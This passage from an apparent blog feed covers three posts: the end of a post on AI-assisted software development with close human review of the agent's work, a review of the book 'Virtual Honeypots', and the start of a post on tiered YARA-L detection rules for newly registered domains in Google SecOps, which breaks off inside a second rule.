<p>To ensure I was monitoring the model closely and actually learning the codebase, I reviewed and approved every new command and file edit. It was tedious, but necessary to remain in the driver’s seat.</p>
<p>At the end of Phase 2, Claude autonomously ran a comprehensive test suite before proceeding. I found myself acting as a Technical Product Manager: <em>Are all tests green? Yes. Mark tasks as done in the TODO. Commit. Move on.</em></p>
</section>
<section id="enforcing-strict-boundaries-pylancepyright" class="level3">
<h3 class="anchored" data-anchor-id="enforcing-strict-boundaries-pylancepyright">6. Enforcing Strict Boundaries (Pylance/Pyright)</h3>
<p>During Phase 4, I configured my Python type-checking to “strict” mode. By Phase 7, Pylance warnings were accumulating. I initiated a strategic halt: I instructed Claude to resolve all warnings and added a new strict-typing enforcement rule to <code>CLAUDE.md</code>. Claude surgically fixed the warnings and re-ran the tests successfully. From that point forward, the codebase looked as though it were written by a senior Python engineer, complete with modern, rigorous type annotations.</p>
</section>
<section id="bottom-up-architecture-and-debugging" class="level3">
<h3 class="anchored" data-anchor-id="bottom-up-architecture-and-debugging">7. Bottom-Up Architecture and Debugging</h3>
<p>Unlike my traditional top-down scripting approach, Claude naturally adopted a bottom-up architecture. It built and tested specific, isolated components before wiring them into the main dispatcher.</p>
<p>When things inevitably broke (such as a proxy issue with <a href="https://www.litellm.ai/">LiteLLM</a> or a bug where the program bypassed the <code>--dry-run</code> flag to create a folder) Claude troubleshot, reasoned about the execution flow, and deployed rapid fixes immediately after I fed it the terminal output.</p>
</section>
<section id="the-final-polish" class="level3">
<h3 class="anchored" data-anchor-id="the-final-polish">8. The Final Polish</h3>
<p>The code under <code>antlion/src</code> eventually felt a bit cluttered, so I prompted Claude to refactor it applying enterprise Python best practices. It modularized the project instantly. The resulting architecture was clean, professional, and highly maintainable.</p>
</section>
</section>
<section id="takeaways-the-paradigm-shift" class="level2">
<h2 class="anchored" data-anchor-id="takeaways-the-paradigm-shift">Takeaways: The Paradigm Shift</h2>
<p>Looking back, my 2025 endeavor was basically my legacy workflow with an AI bot duct-taped to it. The 2026 approach is a true <em>AI-first</em> workflow.</p>
<ol type="1">
<li><strong>Change the process, not just the tool.</strong> You cannot simply bolt AI onto your existing stack. You have to step back, study <em>agentic</em> methodologies, and fundamentally restructure how you build software.</li>
<li><strong>From code to specifications.</strong> Development is now less about writing syntax and more about defining rigid prerequisites and system specifications. However, foundational engineering skills are still what separate production-grade tools from hobbyist scripts. You have to know what to ask for, and you must know how to review the output.</li>
<li><strong>Unprecedented velocity.</strong> Historically, a project like Antlion would have taken me two to three weeks working 4 hours a day. Using this <em>agentic</em> workflow, the project was delivered in about 15 commits, taking less than 6 hours total. The efficiency gains are staggering.</li>
<li><strong>Clarity is king.</strong> Defining clear goals and mandating TDD was the ultimate differentiator. Had I blindly accepted the code Claude initially offered without strict constraints, the project would have collapsed into an unmaintainable mess.</li>
</ol>
<p>I am incredibly excited for what comes next. By taking the time to learn the available tools and paradigms, I stopped fighting the AI and started orchestrating it. Other capabilities, like <a href="https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview">Claude Skills</a>, are ready to be explored, and I will absolutely be integrating them into my future engineering workflows. 🤖 🚀</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2026,
  author = {Lopes, Joe},
  title = {AI-First {Software} {Development}},
  date = {2026-03-22},
  url = {https://lopes.id/log/ai-first-software-development/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2026" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2026. <span>“AI-First Software Development.”</span> March
22. <a href="https://lopes.id/log/ai-first-software-development/">https://lopes.id/log/ai-first-software-development/</a>.
</div></div></section></div> ]]></description>
  <category>dev</category>
  <guid>https://lopes.id/log/ai-first-software-development/</guid>
  <pubDate>Sun, 22 Mar 2026 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/ai-first-software-development/og-ai-first-software-development.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Review: Virtual Honeypots</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/review-virtual-honeypots/</link>
  <description><![CDATA[ 






<p>While working on a personal project involving honeypots, I decided to stop taking the foundational concepts for granted and dive into the literature. Surprisingly, there are only a handful of books dedicated to deception technologies, the most famous being <strong>Virtual Honeypots</strong> (Provos &amp; Holz, 2007).</p>
<p>Despite it being nearly twenty years old with no subsequent editions or revisions, I decided to give it a try. After all, one of its authors is Niels Provos, the creator of Honeyd, one of the most famous honeypot frameworks ever written.</p>
<p>Here is my review of the book after reading it cover-to-cover in 2026.</p>
<section id="the-book" class="level2">
<h2 class="anchored" data-anchor-id="the-book">The Book</h2>
<p><em>Virtual Honeypots</em> showcases the authors’ vast expertise in deception technologies. However, to truly appreciate its greatness, we must put ourselves in the shoes of a late-90s or early-2000s IT practitioner. At that time, VMware and hardware virtualization were just starting to gain traction, Linux systems were undergoing massive consolidation, and many of our common security tools and taxonomies had yet to be invented.</p>
<p>Provos and Thorsten Holz demonstrate remarkable technical depth throughout the pages, teaching network protocols, OS configuration (Linux and Windows), and even systems programming, including Python 🐍. Since they personally developed core tools presented in the text, like <a href="https://www.honeyd.org/">Honeyd</a>, their authority on the subject is undeniable.</p>
<p>The language is accessible, and the text is packed with practical examples, ranging from raw command outputs to complete configuration files. In several instances, the authors hold your hand, explaining what a program does, how to compile and configure it, its execution flags, and its practical use cases.</p>
<p>Although the chapters are not explicitly grouped, I mentally divide the book into three sections: Part I covers theory and motivation (Chapters 1-3); Part II focuses on Honeyd and other honeypots (Chapters 4-8); and Part III delves into practical use cases (Chapters 9-12).</p>
</section>
<section id="impressions" class="level2">
<h2 class="anchored" data-anchor-id="impressions">Impressions</h2>
<p>I gained numerous insights from this book, primarily from Part I. The discussions on honeypot types and architectures for safe deployment are priceless. Furthermore, the taxonomy the authors employ to categorize honeypots is well-thought-out and highly effective at teaching readers how to design robust deception topologies. As expected, foundational theory has longevity, and Part I has absolutely stood the test of time.</p>
<p>Most of Part II is dedicated to Honeyd, and it is clear that Provos was proud of his creation. This is entirely justified, as Honeyd was a massively successful project in its day. However, since the tool has been deprecated for years, this section lacks engagement. Today, the only people likely to benefit from these chapters are developers actively <em>writing</em> honeypot software. Even for professionals seeking modern honeypot <em>deployment</em> advice, these chapters are a tough read.</p>
<p>Part III presents numerous use cases, covering everything from motivation and network topology to analysis and results. Unfortunately, the authors once again dedicated a large portion of these chapters to deep dives into tools that clearly haven’t aged well. Had they focused more strictly on architectural topologies and breach analysis, this section would have remained highly relevant.</p>
<p>This effectively summarizes my overall feeling about the book: a fantastic resource for its time, but one that is overly fixated on tooling that is now obsolete, like <a href="https://www.kernel.org/doc/html/v5.9/virt/uml/user_mode_linux.html">UML</a>, <a href="https://www.all.net/dtk/">DTK</a>, <a href="https://labrea.sourceforge.io/labrea-info.html">LaBrea</a>, <a href="https://honeynet.onofri.org/tools/sebek/">Sebek</a>, and <a href="https://github.com/honeypotarchive/nepenthes">Nepenthes</a>. While I understand the authors’ desire to teach exactly how these tools worked and integrated under the hood, the lack of architectural abstraction makes the text less appealing to a modern audience.</p>
<p>Historically, a significant portion of deception software was linked to academic research, and even today, high-interaction deception technology isn’t a mainstream enterprise staple. In the two decades since this book’s release, entirely new paradigms like containerization and specialized honeypots have emerged, radically changing how we implement the scenarios the authors presented. Combining this evolution with the authors’ choice to tightly couple their lessons to specific, now-deprecated tools creates the perfect storm: a large portion of this book is, unfortunately, forgettable.</p>
</section>
<section id="last-words" class="level2">
<h2 class="anchored" data-anchor-id="last-words">Last Words</h2>
<p><em>Virtual Honeypots</em> was undoubtedly a great book for its time, and I suspect it inspired many professionals to dive into deception engineering. Even today, the foundational first part remains excellent and proves the authors were true pioneers.</p>
<p>However, as explained, from Chapter 4 onward, the book starts feeling like a photo album showing scenes from a distant IT past. My recommendation depends heavily on your current goals:</p>
<ul>
<li><strong>If you are deploying honeypots:</strong> Read Chapters 1-3 carefully and skim the rest, paying slight attention to the topologies in Chapters 9-12.</li>
<li><strong>If you are writing honeypot software:</strong> Chapters 1-3 remain required reading, but you should also pay close attention to Chapters 4-8 to extract architectural insights from the development of Honeyd.</li>
</ul>
<p>For any other InfoSec practitioner simply curious about honeypots: read Chapters 1-3 and close the book. I want to emphasize that I deeply respect the quality of this work and the skill of its authors. It is genuinely impressive to recommend a 20-year-old technology book with no further revisions, but it is almost impossible to tie a book this closely to specific tooling and have it survive the ages. 🪴</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2026,
  author = {Lopes, Joe},
  title = {Review: {Virtual} {Honeypots}},
  date = {2026-03-10},
  url = {https://lopes.id/log/review-virtual-honeypots/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2026" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2026. <span>“Review: Virtual Honeypots.”</span> March 10. <a href="https://lopes.id/log/review-virtual-honeypots/">https://lopes.id/log/review-virtual-honeypots/</a>.
</div></div></section></div> ]]></description>
  <category>deception</category>
  <guid>https://lopes.id/log/review-virtual-honeypots/</guid>
  <pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/review-virtual-honeypots/og-review-virtual-honeypots.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>High-Fidelity NRD Detections</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/high-fidelity-nrd-detections/</link>
  <description><![CDATA[ 






<p>As threat actors increasingly cycle through <strong>Newly Registered Domains (NRDs)</strong> for phishing and Command and Control (C2) operations, detecting activity tied to these short-lived domains remains a valuable defensive strategy. <strong>Google SecOps SIEM</strong> (formerly Chronicle) 🛡️ provides a powerful, native capability to leverage WHOIS data and domain reputation signals, allowing us to programmatically determine if a domain is newly created. However, relying on broad, generic rules is a fast track to alert fatigue. We need precision. 🎯</p>
<p>After diving deep into Google Workspace logs to investigate stronger detection possibilities, I consolidated my thoughts and strategies into this post.</p>
<section id="the-problem-with-broad-strokes" class="level2">
<h2 class="anchored" data-anchor-id="the-problem-with-broad-strokes">The Problem with Broad Strokes</h2>
<p>Google SecOps includes a detection rule in its public repository that serves as a prime example of this concept. The <code>whois_recently_created_domain_access</code> rule, available in <a href="https://github.com/chronicle/detection-rules/blob/main/rules/community/threat_intel/whois_recently_created_domain_access.yaral">GitHub</a>, checks for <em>any</em> network connection event where the target domain was created less than 30 days ago. While this serves as a <strong>good starting point</strong>, like many publicly shared detection rules, it lacks context and refinement. Without additional scoping, it is prone to false positives.</p>
<p>As a threat hunting rule or an atomic/producer rule (signal generation), this logic is perfectly fine. However, adopting this approach as a detection rule lacks the necessary granularity because:</p>
<ol type="1">
<li><strong>Context is missing:</strong> Not all NRD activity is equal. A new vendor’s SaaS API connection does not carry the same threat level as a targeted spear-phishing email.</li>
<li><strong>Arbitrary thresholds:</strong> A single, static threshold (e.g., <em>10 connections</em>) is simultaneously too low for legitimate bulk web traffic and too high for a “low-and-slow” spear-phishing attack. This guarantees an unmanageable false positive (FP) rate and significant false negatives (FN).</li>
</ol>
<blockquote class="blockquote">
<p><strong>The central engineering principle here is:</strong> Breaking detection down by <strong>use case</strong> allows for superior granularity and precision.</p>
</blockquote>
</section>
<section id="contextual-granularity-a-tiered-detection-model" class="level2">
<h2 class="anchored" data-anchor-id="contextual-granularity-a-tiered-detection-model">Contextual Granularity: A Tiered Detection Model</h2>
<p>Working with Google Workspace logs opened my mind to a more granular solution. The most effective strategy for NRD detections is to implement a <strong>tiered detection model</strong> where the threshold and focus are dictated by the event type and the sensitivity of the target entity (e.g., VIP status)—in other words, the <strong>use case</strong>.</p>
<p>This shifts the detection philosophy from simply observing <em>newness</em> to observing <em>suspicious behavior in high-risk contexts</em>, where <em>newness</em> is merely one of several contextual factors. 💡</p>
<p>The next table outlines a few use cases with ideas for implementing scoped detections. These leverage NRD data to add critical context to otherwise standard connections.</p>
<table class="caption-top table">
<colgroup>
<col style="width: 25%">
<col style="width: 25%">
<col style="width: 25%">
<col style="width: 25%">
</colgroup>
<thead>
<tr class="header">
<th style="text-align: left;">Use Case</th>
<th style="text-align: left;">UDM Event Type</th>
<th style="text-align: left;">Detection Focus &amp; Threshold</th>
<th style="text-align: left;">Risk Mapping</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;"><strong>NRD Phishing Volume</strong></td>
<td style="text-align: left;"><code>EMAIL_TRANSACTION</code></td>
<td style="text-align: left;">≥ 5 distinct internal recipients receive mail from the NRD domain within 1 hour.</td>
<td style="text-align: left;">Bulk Phishing/Spam</td>
</tr>
<tr class="even">
<td style="text-align: left;"><strong>NRD Spear Phishing (VIP)</strong></td>
<td style="text-align: left;"><code>EMAIL_TRANSACTION</code></td>
<td style="text-align: left;">&gt; 1 VIP recipient receives mail from an NRD domain within 1 hour.</td>
<td style="text-align: left;">Targeted Initial Access/BEC</td>
</tr>
<tr class="odd">
<td style="text-align: left;"><strong>Malware Drop from NRD</strong></td>
<td style="text-align: left;"><code>NETWORK_CONNECTION</code> / <code>FILE_MODIFICATION</code></td>
<td style="text-align: left;">≥ 1 file download from NRD <strong>AND</strong> file size is &gt; 1 KB.</td>
<td style="text-align: left;">Payload Delivery/Malware Stage</td>
</tr>
<tr class="even">
<td style="text-align: left;"><strong>Bulk Exfiltration to NRD</strong></td>
<td style="text-align: left;"><code>NETWORK_CONNECTION</code></td>
<td style="text-align: left;">≥ 1 asset with <code>network.sent_bytes</code> &gt; 10 MB to NRD domain within 1 hour.</td>
<td style="text-align: left;">Data Theft / C2 Exfil</td>
</tr>
<tr class="odd">
<td style="text-align: left;"><strong>NRD C2 High-Frequency Beacon</strong></td>
<td style="text-align: left;"><code>NETWORK_CONNECTION</code></td>
<td style="text-align: left;">≥ 10 connections from a single Internal Asset to the NRD domain within 5 minutes.</td>
<td style="text-align: left;">Low-Volume C2 Heartbeat</td>
</tr>
</tbody>
</table>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>This is not a silver bullet; use these examples as inspiration to create detection rules that fit your organization’s specific threat landscape.</p>
</div>
</div>
</section>
<section id="leveraging-nrd-with-google-workspace" class="level2">
<h2 class="anchored" data-anchor-id="leveraging-nrd-with-google-workspace">Leveraging NRD with Google Workspace</h2>
<p>As mentioned, I was analyzing Google Workspace events when I realized I could use NRD context to highlight suspicious email transactions. My first approach was to select all messages opened in Workspace, extract the domain from the sender address (excluding trusted domains), and trigger an alert if the domain was less than one week old.</p>
<p>Why one week? In my testing, I noticed that shorter timeframes missed too many threats, while extending it to a month or more created a rule too broad for general monitoring. The resulting YARA-L rule looks like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb1-1">rule workspace_nrd_possible_phishing <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-2">  meta<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb1-3">    author <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Joe Lopes &lt;lopes.id&gt;"</span></span>
<span id="cb1-4">    description <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"A user opened an email from a newly registered domain (created &lt; 7 days ago), which may indicate a phishing attempt"</span></span>
<span id="cb1-5">    severity <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"medium"</span></span>
<span id="cb1-6">    maturity <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"initial"</span></span>
<span id="cb1-7">    mitre <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"T1566:TA0001"</span></span>
<span id="cb1-8">    reference_1 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://github.com/chronicle/detection-rules/blob/main/rules/community/threat_intel/whois_recently_created_domain_access.yaral"</span></span>
<span id="cb1-9">    reference_2 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://support.google.com/a/answer/12384955"</span></span>
<span id="cb1-10"></span>
<span id="cb1-11">  events<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb1-12">    $mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>event_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"EMAIL_TRANSACTION"</span></span>
<span id="cb1-13">    $mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>product_event_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"2"</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// message was opened</span></span>
<span id="cb1-14">    strings<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>extract_domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>from<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> $domain</span>
<span id="cb1-15">    not $domain in <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">%</span>trusted_domains<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain</span>
<span id="cb1-16"></span>
<span id="cb1-17">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>name <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> $domain</span>
<span id="cb1-18">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"DOMAIN_NAME"</span></span>
<span id="cb1-19">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>vendor_name <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"WHOIS"</span></span>
<span id="cb1-20">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>product_name <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"WHOISXMLAPI Simple Whois"</span></span>
<span id="cb1-21">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>source_type <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"GLOBAL_CONTEXT"</span></span>
<span id="cb1-22">    $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>creation_time<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>seconds <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span></span>
<span id="cb1-23"></span>
<span id="cb1-24">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// domain was created in the last 7 days: 7 * 24 * 60 * 60 = 604800 seconds</span></span>
<span id="cb1-25">    <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">604800</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> timestamp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>current_seconds<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> $whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>creation_time<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>seconds</span>
<span id="cb1-26"></span>
<span id="cb1-27">  match<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb1-28">    $domain over <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">h</span></span>
<span id="cb1-29"></span>
<span id="cb1-30">  outcome<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb1-31">    $risk_score <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">25</span></span>
<span id="cb1-32">    $created_at <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>timestamp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>get_date<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$whois<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>graph<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>entity<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>domain<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>creation_time<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>seconds<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))</span></span>
<span id="cb1-33">    $sender <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>from<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb1-34">    $recipients <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>to<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb1-35">    $num_messages <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> count<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>network<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>email<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>mail_id<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb1-36">    $num_attachments <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>additional<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>fields<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"num_message_attachments"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])</span></span>
<span id="cb1-37">    $dkim <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>additional<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>fields<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"dkim_pass"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])</span></span>
<span id="cb1-38">    $spf <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> array_distinct<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>$mail<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>additional<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>fields<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"spf_pass"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])</span></span>
<span id="cb1-39"></span>
<span id="cb1-40">  condition<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb1-41">    $mail and $whois</span>
<span id="cb1-42"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>One concern I had was that “one week” might not cover all scenarios. However, as noted, simply increasing this window globally would lead to an unacceptable volume of alerts in production. A robust solution in these cases is to create a <strong>fork</strong> of the original rule that monitors a specific set of high-value assets.</p>
<p>In this instance, I decided to monitor a list of <strong>VIPs</strong>. Since this greatly reduces the user count to only executives or people with elevated privileges, it allows us to safely increase the “newly registered” window to <strong>180 days</strong>. With this adjustment, the rule transforms into a specialized detector for targeted spear-phishing attempts:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb2-1">rule workspace_nrd_possible_spear_phishing <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-2">  meta<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span></span>
<span id="cb2-3">    author <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Joe Lopes &lt;lopes.id&gt;"</span></span>
